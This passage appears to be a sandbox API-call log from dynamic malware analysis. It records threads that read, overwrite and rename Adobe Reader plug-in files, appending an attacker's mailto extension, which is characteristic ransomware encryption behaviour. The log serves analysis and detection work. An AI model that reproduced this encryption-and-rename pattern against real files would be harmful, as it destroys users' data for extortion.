lpBuffer=0x196c4188, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17c4f958, lpOverlapped=0x0 | out: lpBuffer=0x196c4188*, lpNumberOfBytesRead=0x17c4f958*=0xc800, lpOverlapped=0x0) returned 1 [0064.406] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x5c863, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.406] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.406] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437f58 [0064.406] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460058 [0064.406] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460058) returned 1 [0064.407] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e47860 [0064.408] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460058 [0064.408] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0064.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460030) returned 1 [0064.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437f58) returned 1 [0064.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.408] WriteFile (in: hFile=0xd48, lpBuffer=0x5e47860*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17c4f958, lpOverlapped=0x0 | out: lpBuffer=0x5e47860*, lpNumberOfBytesWritten=0x17c4f958*=0xc800, lpOverlapped=0x0) returned 1 [0066.666] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47860) returned 1 [0066.666] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48de80 [0066.667] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.667] WriteFile (hFile=0xd48, lpBuffer=0x441c78, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x17c4fa00, lpOverlapped=0x0) Thread: id = 928 os_tid = 0x125c [0051.976] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\sendmail.api")) returned 0x20 [0057.032] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api", dwFileAttributes=0x20) returned 1 [0057.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\sendmail.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd4c [0057.035] GetFileSizeEx (in: hFile=0xd4c, lpFileSize=0x179cfbec | out: lpFileSize=0x179cfbec*=154723) returned 1 [0057.036] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x25c5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.036] ReadFile (in: hFile=0xd4c, lpBuffer=0x179cfb70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x179cfb6c, lpOverlapped=0x0 | out: lpBuffer=0x179cfb70*, lpNumberOfBytesRead=0x179cfb6c*=0x4, lpOverlapped=0x0) returned 1 [0057.037] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eded0 [0057.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edf98 [0057.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edfc0 [0057.037] NtQuerySystemTime (in: CurrentTime=0x179cfb4c | out: CurrentTime=0x179cfb4c*=132174898210260000) returned 0x0 [0057.037] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x2c91d116 [0057.037] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x20e254b5 [0057.037] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x286d0558 [0057.037] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x19cc10b7 [0057.037] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x221f5464 [0057.037] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x3aac28d8 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0xee43e11 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x58260a6c [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x66f0fd06 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x3dddcab9 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x11b9ba2 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x3ede251e [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x6a140935 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x70bebf0c [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x704e4707 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x4059c21d [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0xdf5bf85 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x2e266387 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x78b71742 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x26452bd9 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x54067037 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x330edd4c [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x5c00c2c9 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x6f5bc4c9 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x12c4fa75 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0xa9759fb [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x58de91a5 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x2a9ae91e [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x68f5a9b [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x280eef1b [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x68f47064 [0057.038] RtlRandomEx (in: Seed=0x179cfb58 | out: Seed=0x179cfb58) returned 0x3f2c356d [0057.050] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.050] ReadFile (in: hFile=0xd4c, lpBuffer=0x12d22970, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x179cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x12d22970*, lpNumberOfBytesRead=0x179cfb2c*=0xc800, lpOverlapped=0x0) returned 1 [0057.051] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eded0 [0057.051] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eded0) returned 1 [0057.052] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x196b7980 [0057.053] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eded0 [0057.053] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edfc0 [0057.053] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edfc0) returned 1 [0057.053] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.053] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.053] WriteFile (in: hFile=0xd4c, lpBuffer=0x196b7980*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x179cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x196b7980*, lpNumberOfBytesWritten=0x179cfb2c*=0xc800, lpOverlapped=0x0) returned 1 [0059.125] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196b7980) returned 1 [0059.125] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d22970) returned 1 [0059.125] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce8a0 [0059.126] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.126] WriteFile (in: hFile=0xd4c, lpBuffer=0x12d7c3f0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x179cfbac, lpOverlapped=0x0 | out: lpBuffer=0x12d7c3f0*, lpNumberOfBytesWritten=0x179cfbac*=0x109, lpOverlapped=0x0) returned 1 [0062.781] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c3f0) returned 1 [0062.781] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee40) returned 1 [0062.781] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a28) returned 1 [0062.781] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0062.781] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eded0) returned 1 [0062.781] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf98) returned 1 [0062.781] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eda48) returned 1 [0062.781] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8e0) returned 1 [0062.781] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d4000 [0062.781] wcscpy (in: _Dest=0x4d4000, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api" [0062.781] wcscat (in: _Dest=0x4d4000, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api.mailto[2Hamlampampom@cock.li].cd46d" [0062.781] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x179cfb64, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.781] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xea) returned 0x4de0f8 [0063.455] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de0f8) returned 1 [0063.455] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a58a0) returned 1 [0063.455] NtQueryInformationFile (in: FileHandle=0xd4c, IoStatusBlock=0x179cfb70, FileInformation=0x179cfb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x179cfb70, FileInformation=0x179cfb48) returned 0x0 [0063.455] NtSetInformationFile (FileHandle=0xd4c, IoStatusBlock=0x179cfb70, FileInformation=0x179cfb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.456] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4000) returned 1 [0063.456] FlushFileBuffers (hFile=0xd4c) returned 1 [0066.223] CloseHandle (hObject=0xd4c) Thread: id = 929 os_tid = 0x1260 [0051.976] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\spelling.api")) returned 0x20 [0057.016] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Spelling.api", dwFileAttributes=0x20) returned 1 [0057.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\spelling.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x910 [0057.017] GetFileSizeEx (in: hFile=0x910, lpFileSize=0x17b7fcf4 | out: lpFileSize=0x17b7fcf4*=277091) returned 1 [0057.017] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x43a5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.017] ReadFile (in: hFile=0x910, lpBuffer=0x17b7fc78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17b7fc74, lpOverlapped=0x0 | out: lpBuffer=0x17b7fc78*, lpNumberOfBytesRead=0x17b7fc74*=0x4, lpOverlapped=0x0) returned 1 [0057.018] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ede58 [0057.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edea8 [0057.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eded0 [0057.018] NtQuerySystemTime (in: CurrentTime=0x17b7fc54 | out: CurrentTime=0x17b7fc54*=132174898209948000) returned 0x0 [0057.018] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x66181d8f [0057.018] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0xfe5f32e [0057.018] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x415bac1c [0057.018] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x129690dc [0057.018] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x87e5d73 [0057.018] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x66849be7 [0057.018] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x8ddc311 [0057.018] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x68ed958 [0057.018] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x19e721d9 [0057.018] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x32e6a28d [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x4ea9daa4 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x20f45de9 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x395d2863 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x2f73027 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x1685b2a6 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x3484c92c [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x74f5caff [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x3053ee94 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x2830c9b4 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x4d6eb038 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x2164d5ee [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0xfc72f44 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x1ccdaeaf [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x1d2aba7c [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x25cce7b9 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x678de5c2 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x3facbfad [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x77b9c48a [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x265375b9 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x439ec588 [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x40d8f55f [0057.019] RtlRandomEx (in: Seed=0x17b7fc60 | out: Seed=0x17b7fc60) returned 0x28559f8e [0057.030] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.030] ReadFile (in: hFile=0x910, lpBuffer=0x5ee9810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17b7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x5ee9810*, lpNumberOfBytesRead=0x17b7fc0c*=0xc800, lpOverlapped=0x0) returned 1 [0057.032] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.032] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.032] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.032] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ede58 [0057.032] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ede58) returned 1 [0057.033] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d16168 [0057.034] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ede58 [0057.034] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eded0 [0057.034] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eded0) returned 1 [0057.034] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.034] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.034] WriteFile (in: hFile=0x910, lpBuffer=0x12d16168*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17b7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x12d16168*, lpNumberOfBytesWritten=0x17b7fc0c*=0xc800, lpOverlapped=0x0) returned 1 [0059.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d16168) returned 1 [0059.122] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.122] ReadFile (in: hFile=0x910, lpBuffer=0x5ee9810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17b7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x5ee9810*, lpNumberOfBytesRead=0x17b7fc0c*=0xc800, lpOverlapped=0x0) returned 1 [0059.123] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.123] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.123] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.123] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ed8 [0059.123] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ed8) returned 1 [0059.124] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d16168 [0059.125] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ed8 [0059.125] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a28 [0059.125] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a28) returned 1 [0059.125] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.125] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.125] WriteFile (in: hFile=0x910, lpBuffer=0x12d16168*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17b7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x12d16168*, lpNumberOfBytesWritten=0x17b7fc0c*=0xc800, lpOverlapped=0x0) returned 1 [0064.394] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d16168) returned 1 [0064.402] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x37263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.402] ReadFile (in: hFile=0x910, lpBuffer=0x5ee9810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17b7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x5ee9810*, lpNumberOfBytesRead=0x17b7fc0c*=0xc800, lpOverlapped=0x0) returned 1 [0064.403] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x37263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437f58 [0064.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4601c0 [0064.403] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4601c0) returned 1 [0064.404] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19572018 [0064.405] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4601c0 [0064.405] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460058 [0064.405] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460058) returned 1 [0064.405] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437f58) returned 1 [0064.405] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.405] WriteFile (in: hFile=0x910, lpBuffer=0x19572018*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17b7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x19572018*, lpNumberOfBytesWritten=0x17b7fc0c*=0xc800, lpOverlapped=0x0) returned 1 [0066.667] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19572018) returned 1 [0066.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48dee8 [0066.668] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.668] WriteFile (hFile=0x910, lpBuffer=0x1989eb38, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x17b7fcb4, lpOverlapped=0x0) Thread: id = 930 os_tid = 0x1264 [0051.977] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\updater.api")) returned 0x20 [0058.175] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api", dwFileAttributes=0x20) returned 1 [0058.183] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\updater.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xea0 [0058.183] GetFileSizeEx (in: hFile=0xea0, lpFileSize=0x177dfee0 | out: lpFileSize=0x177dfee0*=169059) returned 1 [0058.184] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x2945f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.184] ReadFile (in: hFile=0xea0, lpBuffer=0x177dfe64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x177dfe60, lpOverlapped=0x0 | out: lpBuffer=0x177dfe64*, lpNumberOfBytesRead=0x177dfe60*=0x4, lpOverlapped=0x0) returned 1 [0058.217] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0058.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429188 [0058.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429098 [0058.218] NtQuerySystemTime (in: CurrentTime=0x177dfe40 | out: CurrentTime=0x177dfe40*=132174898221960000) returned 0x0 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x405eb238 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x1008edc3 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x222f0963 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x210f4b1c [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 